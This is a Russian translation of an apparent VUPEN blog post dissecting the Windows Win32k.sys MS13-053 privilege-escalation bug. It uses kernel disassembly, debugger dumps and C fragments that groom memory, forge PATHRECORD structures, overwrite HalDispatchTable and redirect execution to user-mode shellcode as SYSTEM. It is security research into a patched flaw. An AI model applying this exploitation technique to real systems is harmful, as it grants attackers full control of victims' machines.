Повышение привилегий Windows

Расширенная эксплуатация уязвимостей “Win32k.sys”

Наверняка многие знают Vupen Security. Недавно у них в блоге была опубликована запись о эксплуатации Win32k.sys с целью повышения привилегий. Поскольку запись очень интересная и раскрывает методологию поиска уязвимости, я решил её перевести.
За последнее время Тависом Орманди (он заслуживает премии Pwnie 2013 за это!) была найдена и опубликована интересная уязвимость повышения привилегий в Windows. Позднее она была исправлена Microsoft как часть MS13-053. Уязвимость затрагивает функцию “EPATHOBJ::pprFlattenRec()” в Win32k.sys и позволяет непривилегированному пользователю получить права SYSTEM.

Хотя некоторыми исследователями были опубликованы различные исходные коды, использующие эту уявимость, нашей целью было создание надежного и универсального эксплоита работающего в Windows 8, Windows 7, Vista, и XP как в 32-х, так и 64-х разрядных системах, без побочных эффектов и зависимости состояния гонок.

1. Технический анализ уязвимости

Когда вызывается функция “FlattenPath ()”, метод “win32k!EPATHOBJ::bFlatten()” переходит в режим ядра в Win32k.sys:

.text:0011602C win32k!EPATHOBJ::bFlatten
.text:0011602C mov edi, edi
.text:0011602E push ecx
.text:0011602F mov eax, [esi+8]  // заголовок списка PATHRECORD
.text:00116032 test eax, eax
.text:00116034 jz short loc_11605B
.text:00116036 mov eax, [eax+14h]  // первый указатель PATHRECORD
.text:00116039
.text:00116039 loc_116039:
.text:00116039 test eax, eax  // достигли конца списка
.text:0011603B jz short loc_116053
.text:0011603D test byte ptr [eax+8], 10h  // это кривая Безье
.text:00116041 jz short loc_11604F
.text:00116043 push eax
.text:00116044 mov ecx, esi
.text:00116046 call EPATHOBJ::pprFlattenRec  // Сглаживание кривых Безье
.text:0011604B test eax, eax
.text:0011604D jz short loc_11605B
.text:0011604F
.text:0011604F loc_11604F:
.text:0011604F mov eax, [eax]  // current = current->next
.text:00116051 jmp short loc_116039
.text:00116053 loc_116053:
.text:00116053 and dword ptr [esi], 0FFFFFFFEh
.text:00116056 xor eax, eax
.text:00116058 inc eax
.text:00116059 pop ecx
.text:0011605A retn

Если объект PATHRECORD содержит точки, описывающих кривые Безье, метод “win32k!EPATHOBJ::pprFlattenRec()”  входит:

.text:001171E0 win32k!EPATHOBJ::pprFlattenRec
...
.text:00117208 lea ebx, [ebp+newPathRecord]
.text:0011720E mov [ebp+var_EC], edi
.text:00117214 mov [ebp+currentPathRecord], eax
.text:0011721A call EPATHOBJ::newpathrec  // Аллокация нового PATHRECORD

Происходит вызов “win32k EPATHOBJ::newpathrec (!)” для выделения памяти под PATHRECORD, если не хватает имеющейся:

.text:00115F87 win32k!EPATHOBJ::newpathrec
...
.text:00115F99 mov edx, [ecx+4]  // получение последнего PATHRECORD
.text:00115F9C mov eax, [ecx+8]  // получение размера PATHRECORD для аллокации
.text:00115F9F add edx, 10h
.text:00115FA2 add eax, ecx  // переход в конец массива
.text:00115FA4 cmp eax, edx
.text:00115FA6 jbe short loc_115FAF
.text:00115FA8 sub eax, edx
.text:00115FAA sar eax, 3
.text:00115FAD mov [esi], eax  // вычисление оставшиеся триплетов
.text:00115FAF loc_115FAF:
.text:00115FAF mov eax, [esi]
.text:00115FB1 cmp eax, 8  // Если осталось меньше 8
.text:00115FB4 jb short loc_115FC2  // аллокация новой структуры PATHRECORD
...
.text:00115FC2 loc_115FC2:
...
.text:00115FC7 call newpathalloc

В случае, если объекту PATHRECORD не хватает “слотов” вызывется функция “! Win32k newpathalloc ()”:

.text:00116729 win32k!newpathalloc
.text:00116729 mov edi, edi
.text:0011672B push ebp
.text:0011672C mov ebp, esp
.text:0011672E push ecx
.text:0011672F push ebx
.text:00116730 push esi
.text:00116731 mov esi, PATHALLOC::hsemFreelist
...
.text:0011674C loc_11674C:
.text:0011674C mov edi, PATHALLOC::freelist
.text:00116752 mov ebx, 0FC0h
.text:00116757 test edi, edi
.text:00116759 jz short loc_11679A

“win32k!PATHALLOC::freelist” является простой связанной структурой списка, способной вмещать до 4 элементов. В случае если “win32k!PATHALLOC::freelist” список пуст, используется:

.text:00116729 win32k!newpathalloc
...
.text:0011679A loc_11679A:
.text:0011679A push 1
.text:0011679C push 'tapG'
.text:001167A1 push ebx
.text:001167A2 call PALLOCMEM2

“win32!kPALLOCMEM2()” фактически является оболочкой над “nt!ExAllocatePoolWithTag()” с использованием “memset(0)” на только что выделенный пул чанков.

В случае, когда freelist содержит элементы, используется:

.text:00116729 win32k!newpathalloc
...
.text:0011675B mov eax, [edi]  // получение слудующего элемента
.text:0011675D dec PATHALLOC::cFree  // количество элементов в freelist
.text:00116763 mov PATHALLOC::freelist , eax  // обновление freelist
.text:00116768
.text:00116768 loc_116768:
.text:00116768 and dword ptr [edi], 0
.text:0011676B lea eax, [edi+0Ch]  // eax указывает на структуру PATHRECORD
...
.text:00115FB9 mov [ebx], eax // назначение newPathRecord указателю
.text:00115FBB xor eax, eax
.text:00115FBD inc eax
.text:00115FBE pop ebp
.text:00115FBF retn 4

Счетчик элементов freelist уменьшается, а сам список обновляется, для указания на новый элемент. Однако, на этот раз память возвращается из freelist и не устанавливается 0, таким образом, в ней все еще содержатся данные предыдущих структур PATHRECORD.

Структура PATHRECORD выглядит следующим образом:

typedef struct _PATHRECORD
 {
struct _PATHRECORD *next;  // указатель на следующий PATHRECORD
struct _PATHRECORD *prev;  // указатель но предыдущий PATHRECORD
DWORD flags;  // тип PATHRECORD
DWORD numPoints;  // количество точек
POINT points[0];  // переменная количества элементов массива
} PATHRECORD, *PPATHRECORD;

Структура POINT выглядит следующим образом (из MSDN):

typedef struct tagPOINT
{
  LONG x;
  LONG y;
} POINT, *PPOINT;

В конце концов, функция возвращает результат, и система начинает инициализацию вновь созданной структуры PATHRECORD:

.text:001171E0 win32k!EPATHOBJ::pprFlattenRec
...
.text:00117228 mov ebx, [ebp+newPathRecord]
.text:0011722E mov esi, [ebp+currentPathRecord]
.text:00117234 mov eax, [esi+4]  // eax = currentPathRecord->prev
.text:00117237 mov [ebx+4], eax  // newPathRecord->prev= eax
.text:0011723A lea eax, [ebx+0Ch]  // eax = &(newPathRecord->records[])
.text:0011723D and dword ptr [eax], 0  // records[0] = 0
.text:00117240 mov [ebp+newPathRecord], eax
.text:00117246 mov eax, [esi+8]  // eax = currentPathRecord->flags
.text:00117249 and eax, 0FFFFFFEFh
.text:0011724C mov [ebx+8], eax  // newPathRecord->flags = eax

Система инициализирует все поля, кроме следующего поля PATHRECORD, которое может содержать другие данные, отличные от 0, в случае, когда запись была возвращена “win32k!PATHALLOC::freelist” связанным списком. Хотя система позже инициализирует эту область памяти, существует возможность, которая позволяет пропустить инициализацию в случае выхода из строя распределения памяти:

.text:001171E0 win32k!EPATHOBJ::pprFlattenRec
...
.text:001E984C call EPATHOBJ::newpathrec
.text:001E9851 cmp eax, 1
.text:001E9854 jnz short loc_1E9801  // при неуспешной инициализации
...
.text:001E9801 xor eax, eax
.text:001E9803 jmp loc_117371
...
.text:00117371 loc_117371:
  ...
 .text:0011737E leave
 .text:0011737F retn 4

Метод “win32k!EPATHOBJ::newpathrec()” возвращает 0 в случае невозможного выделения памяти. Это происходит в случае, если “win32k!PATHALLOC::freelist” пустой и “nt!ExAllocatePoolWithTag()” не может произвести аллокацию памяти.

В этом случае объект PATHRECORD имеет неправильный указатель на следующую структуру PATHRECORD.

В результате происходит второй вызов “win32k!NtGdiFlattenPath()”, который вызывает нарушение прав доступа при попытке разыменования следующего указателя в “win32k!EPATHOBJ::bFlatten()”:

.text:0011602C win32k!EPATHOBJ::bFlatten
.text:0011602C
.text:0011602C mov edi, edi
.text:0011602E push ecx
.text:0011602F mov eax, [esi+8]
.text:00116032 test eax, eax
.text:00116034 jz short loc_11605B
.text:00116036 mov eax, [eax+14h]  // Разыменовывание ошибочного указателя
.text:00116039
.text:00116039 loc_116039:
.text:00116039 test eax, eax
.text:0011603B jz short loc_116053
.text:0011603D test byte ptr [eax+8], 10h  // Крах здесь!

 

2. Эксплуатация на Windows 8 (32bit)

2.1 Управление неинициализированным указателем

Использование этой уязвимости требует доступа к значению неинициализированного указателя. Когда вызывается “win32k!EPATHOBJ::bFlatten” должны быть соблюдены два условия:

  1. При первом вызове “win32k!EPATHOBJ::newpathrec()”, должен быть положительный результат и возвращен управляемый объект PATHRECORD из “win32k!PATHALLOC::freelist”, который будет связан с текущим списком PATHRECORD.
  2. Следующий вызов “win32k!EPATHOBJ::newpathrec()” должен потерпеть неудачу из-за нехватки памяти и выхода из функции “win32k!EPATHOBJ::bFlatten()”, в результате чего следующий указатель станет неинициализированным.

Выполнение первого условия легко обходится с помощью следующего кода:

for (i = 0; i < 8192; i++)
{
         points[i].x = 0x41414141 >> 4;
         points[i].y = 0x41414141 >> 4;
         pointTypes[i] = 0x10;
}

/* Первый вызов PolyDraw заполняет ровно одну страницу управляемыми данными */
BeginPath(hDevice);
PolyDraw(hDevice, points, pointTypes, 498);
EndPath(hDevice);

В конечном счёте функция “PolyDraw()” приведет к вызову “win32k!EPATHOBJ::newpathrec()”, который выделит новые 0xFC0h байт, содержащие 0x041414140 х и у полей. Только что выделенный кусок имеет следующую структуру в памяти:

kd> dd ecx + 0xc
82ad0014 00000000 00000000 00000017  000001f2
82ad0024 41414140 41414140 41414140 41414140
82ad0034 41414140 41414140 41414140 41414140
82ad0044 41414140 41414140 41414140 41414140
82ad0054 41414140 41414140 41414140 41414140
82ad0064 41414140 41414140 41414140 41414140
82ad0074 41414140 41414140 41414140 41414140
82ad0084 41414140 41414140 41414140 41414140

Функция “PolyDraw()” вызывается второй раз, но с меньшим количеством точек в параметрах:

/* Из-за BeginPath() ранее выделенные данные становятся освобождеными */
BeginPath(hDevice);
/* Освобожденная память перераспределяется в PolyDraw() без MemSet(), таким образом область памяти заполнена контролируемые пользователем даннми. */
PolyDraw(hDevice, points, pointTypes, 483);

Произведя это, выделенная порция памяти будет освобождена и сразу же перераспределена для списка с меньшим количеством точек. Теперь чанки выглядят следующим образом:

kd> dd ecx + 0xc
82ad0014 00000000  82ad0f44  00000017 000001e3
82ad0024 41414140 41414140 41414140 41414140
82ad0034 41414140 41414140 41414140 41414140
82ad0044 41414140 41414140 41414140 41414140
82ad0054 41414140 41414140 41414140 41414140
82ad0064 41414140 41414140 41414140 41414140
82ad0074 41414140 41414140 41414140 41414140
82ad0084 41414140 41414140 41414140 41414140
...
82ad0f44 41414140 41414140 41414140 41414140

Значение 0x82AD0F44 возвращенное “win32k!EPATHOBJ::newpathrec()” вставляется в PATHRECORD, который в свою очередь проникает в новый объект PATHRECORD связанного списка:

.text:001171E0 win32k!EPATHOBJ::pprFlattenRec
...
.text:00117228 mov ebx, [ebp+newPathRecord]
.text:0011722E mov esi, [ebp+currentPathRecord]
.text:00117234 mov eax, [esi+4] // eax = currentPathRecord->prev
.text:00117237 mov [ebx+4], eax  // newPathRecord->prev= eax
.text:0011723A lea eax, [ebx+0Ch]  // eax = &(newPathRecord->records[])
.text:0011723D and dword ptr [eax], 0  // records[0] = 0
.text:00117240 mov [ebp+newPathRecord], eax
.text:00117246 mov eax, [esi+8]  // eax = currentPathRecord->flags
.text:00117249 and eax, 0FFFFFFEFh
.text:0011724C mov [ebx+8], eax  // newPathRecord->flags = eax
.text:0011724F cmp dword ptr [ebx+4], 0
.text:00117253 mov [ebp+var_F4], ebx
.text:00117259 jz loc_117382
...
.text:00117382 mov eax, [edi+8]
.text:00117385 mov [eax+14h], ebx  // Установка новой записи

Код будет пытаться выравнить PATHRECORD в связанном списке, и в конце концов выполнится следующий фрагмент кода:

.text:001E9841 lea ebx, [ebp+var_100]
.text:001E9847 mov edi, edx
.text:001E9849 mov [eax+4], ecx
.text:001E984C call EPATHOBJ::newpathrec  // Аллокация нового PATHRECORD
.text:001E9851 cmp eax, 1
.text:001E9854 jnz short loc_1E9801  // Если выделения памяти не произошло
...
.text:001E9801 xor eax, eax
.text:001E9803 jmp loc_117371
...
.text:00117371 loc_117371:
...
.text:0011737E leave
.text:0011737F retn 4

Так как больше нет доступной памяти, вызов “win32k!EPATHOBJ::newpathrec()” не удается. Таким образом, функция не вызывается автоматически при следующем обращении к PATHRECORD структуре, которая теперь находится под контролем атакующего.

Вопреки тому, что было публично заявилено про отсутсвие состояния гонок участвующих в этом эксплоите. Хотя PATHRECORD со следующим указателем 0x41414140 был включен в перечень PATHRECORD, ничего не произойдет, поскольку метод “win32k!EPATHOBJ::bFlatten()” не взаимодействовал с конкретным списком PATHRECORD. Перед нарушением прав доступа, память ядра освобождается для того, чтобы все последующие вызовы “win32k!newpathalloc()” увенчались успехом:

 /* Начало ошибки: вставка указателя "Next" */
FlattenPath(hDevice);

/* Освобождение памяти: пусть ядро работает. */
while (NumRegion)
DeleteObject(Regions[--NumRegion]);

/* Активация сброса недействительного указателя */
FlattenPath(hDevice);

Второй вызов “FlattenPath()” вызывает нарушение прав доступа:

.text:0011602C win32k!EPATHOBJ::bFlatten
.text:0011602C
.text:0011602C mov edi, edi
.text:0011602E push ecx
.text:0011602F mov eax, [esi+8]
.text:00116032 test eax, eax
.text:00116034 jz short loc_11605B
.text:00116036 mov eax, [eax+14h]  // Разыменование недействительного следующего указателя
.text:00116039
.text:00116039 loc_116039:
.text:00116039 test eax, eax
.text:0011603B jz short loc_116053
.text:0011603D test byte ptr [eax+8], 10h  // Крах здесь! eax == 0x41414140

2.2 Операция Write4

Теперь следующий указатель контролируется, цель будет заключаться в достижении повреждения памяти, вставив ложную запись в PATHRECORD связанного списка.

Для того, чтобы создать поддельный PATHRECORD, следующий указатель указывает на VirtuaAlloc() памяти в пространстве пользователя содержащие структуру PATHRECORD:

PathRecord = (PPATHRECORD)VirtualAlloc(NULL, sizeof *PathRecord,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

/* PATHRECORD структура. */
PathRecord->prev = 0;
PathRecord->next = (PPATHRECORD)&ExploitRecord;
PathRecord->flags = 0;

ExploitRecord.next = 0x41414141 >> 4;
ExploitRecord.prev = 0x42424242 >> 4;
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;

Код будет обрабатывать PathRecord объекта. Поскольку значениее флаг равно 0, функция “win32k!EPATHOBJ::pprFlattenRec()”  не отрабатывает. Следующий указатель разыменовывается, указывая на объект ExploitRecord. На этот раз, так как флаг установлен PD_BEZIERS (0x10), объект обрабатывается “win32k!EPATHOBJ::pprFlattenRec()”:

 .text:0011602C mov edi, edi
 .text:0011602E push ecx
 .text:0011602F mov eax, [esi+8]
 .text:00116032 test eax, eax
 .text:00116034 jz short loc_11605B
 .text:00116036 mov eax, [eax+14h]  // Получение начала списка
 .text:00116039
 .text:00116039 loc_116039:
 .text:00116039 test eax, eax
 .text:0011603B jz short loc_116053
 .text:0011603D test byte ptr [eax+8], 10h  // PATHRECORD кривые Безье
 .text:00116041 jz short loc_11604F
 .text:00116043 push eax
 .text:00116044 mov ecx, esi
 .text:00116046 call EPATHOBJ::pprFlattenRec
 .text:0011604B test eax, eax
 .text:0011604D jz short loc_11605B
 .text:0011604F
 .text:0011604F loc_11604F:
 .text:0011604F mov eax, [eax]  // переход к следующему PATHRECORD
 .text:00116051 jmp short loc_116039

“win32k!EPATHOBJ::pprFlattenRec()” взаимодействует с созданным PATHRECORD объектом:

.text:00117202 lea esi, [ebp+var_F8]
.text:00117208 lea ebx, [ebp+newPathRecord]
.text:0011720E mov [ebp+var_EC], edi
.text:00117214 mov [ebp+currentPathRecord], eax
.text:0011721A call EPATHOBJ::newpathrec  // успешно, так как
.text:0011721F cmp eax, 1  //  был возврат ядру
.text:00117222 jnz loc_1E9801
.text:00117228 mov ebx, [ebp+newPathRecord]  // Адрес записи в ebx
.text:0011722E mov esi, [ebp+currentPathRecord]
.text:00117234 mov eax, [esi+4]
.text:00117237 mov [ebx+4], eax  // установка следующего указателя
.text:0011723A lea eax, [ebx+0Ch]
.text:0011723D and dword ptr [eax], 0
.text:00117240 mov [ebp+newPathRecord], eax
.text:00117246 mov eax, [esi+8]
.text:00117249 and eax, 0FFFFFFEFh
.text:0011724C mov [ebx+8], eax
.text:0011724F cmp dword ptr [ebx+4], 0
.text:00117253 mov [ebp+var_F4], ebx
.text:00117259 jz loc_117382
.text:0011725F mov eax, [ebx+4]
.text:00117262 mov [eax], ebx  //  повреждение памяти

Как мы видим  операция Write4 была успешно завершена. Однако, возможно, что содержание ЕВХ регистра, не является адресом, так как она была возвращена “win32k! Newpathalloc()” и, таким образом, указатель расположен в ядре.

Поскольку уязвимость позволяет контролировать, какие данные будут скопированы, подходы у каждой архитектуры свои. В этом блоге, мы остановимся на 32-битном подходе.

2.3 Завершение эксплуатации

На x86, указатель находится в nt!HalDispatchTable+0x4. После коррупции произошел вызов “NtQueryIntervalProfile”, который вызовет перезаписсь указателя и перенаправление потока исполнения:

PAGE:007631D1 nt!KeQueryIntervalProfile
PAGE:007631D1
PAGE:007631D1 mov edi, edi
PAGE:007631D3 push ebp
PAGE:007631D4 mov ebp, esp
PAGE:007631D6 sub esp, 14h
PAGE:007631D9 cmp eax, 1
PAGE:007631DC jz short loc_763202
PAGE:007631DE mov [ebp+var_14], eax
PAGE:007631E1 lea eax, [ebp+var_4]
PAGE:007631E4 push eax
PAGE:007631E5 lea eax, [ebp+var_14]
PAGE:007631E8 push eax
PAGE:007631E9 push 10h
PAGE:007631EB push 1
PAGE:007631ED call off_5CCF2C  // xHalQuerySystemInformation

Затем ядро продолжит исполнение, чтобы перейти на PATHRECORD. Так как, в x86, страницы, выделенные через “win32k!Newpathalloc()” являются исполняемыми и данные ядра расположены в PATHRECORD, успешно произойдет переход на значение указателя следующего PATHRECORD.

Поскольку созданный PATHRECORD является последним в списке PATHRECORD и следующий указатель равен NULL произойдет крах ядра.

Нужно выработать такой алгоритм PATHRECORD что PATHRECORD используется для перезаписи nt!HalDispatchTable+4 указателем не последний элемент из цепи. Следующий указатель должен указывать на PATHRECORD, который должен быть расположен по такому адресу, который является  действительной последовательностью x86 кода операции.

Тависом был найден хороший кандидат последовательности:

inc eax
jmp [ebp + 0x40h]

Это перевод в DWORD 0x40FF6540 который может быть отображен в пространстве пользователя. Этот адрес должен содержать корректный PATHRECORD которым заканчивается цепь.

[EBP + 0x40h] фактически располагает в стеке второй аргумент NtQueryIntervalProfile, который является указателем на шеллкод в пространстве пользователя, что приводит к выполнению кода с системными привилегиями вплоть до Windows 8.

Подобная операция может быть применена также на 64-битных системах, несмотря на все препятствия для эксплойта в том числе SMEP (Supervisor Mode Execution Protection), тем не менее, мы оставляем это в качестве тренировки для читателя, чтобы предотвратить утечку уязвимостей, которые могут быть использованы в Google Chrome или Adobe Acrobat / Reader.